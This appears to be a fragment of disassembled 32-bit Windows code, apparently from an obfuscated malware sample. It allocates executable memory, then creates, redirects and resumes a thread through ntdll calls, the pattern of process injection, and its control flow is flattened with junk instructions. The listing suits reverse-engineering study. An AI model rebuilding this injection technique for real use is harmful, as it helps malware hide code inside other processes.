mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x118]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x2df4dc5c
jmp 0x100067f0
mov dword [ebp - 0x188], 0x3c071229
jmp 0x100067f0
mov dword [ebp - 0x188], 0x4aad9856
jmp 0x100067f0
mov dword [ebp - 0x188], 0xc95cb7ae
jmp 0x100067f0
mov dword [ebp - 0x188], 0x767ec6b8
jmp 0x100067f0
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100031b0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x6b97ca2d
jmp 0x100067f0
mov eax, dword [ebp - 0x168]
mov dword [eax], 0
mov dword [ebp - 0x188], 0x2be15d16
jmp 0x100067f0
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x164]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x188], 0x9b3c6c17
jmp 0x100067f0
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x188], 0xc82be9d0
jmp 0x100067f0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x188], 0xfb371d8b
jmp 0x100067f0
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x188], 0xb7fab335
jmp 0x100067f0
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x188], 0x46b63bb1
jmp 0x100067f0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x188], 0x31035077
jmp 0x100067f0
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x188], 0xc6c0a409
jmp 0x100067f0
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x188], 0x88e79689
jmp 0x100067f0
mov dword [ebp - 0x188], 0x191fc7f1
jmp 0x100067f0
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x188], 0x5e221231
jmp 0x100067f0
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x188], 0x73e412ea
jmp 0x100037e0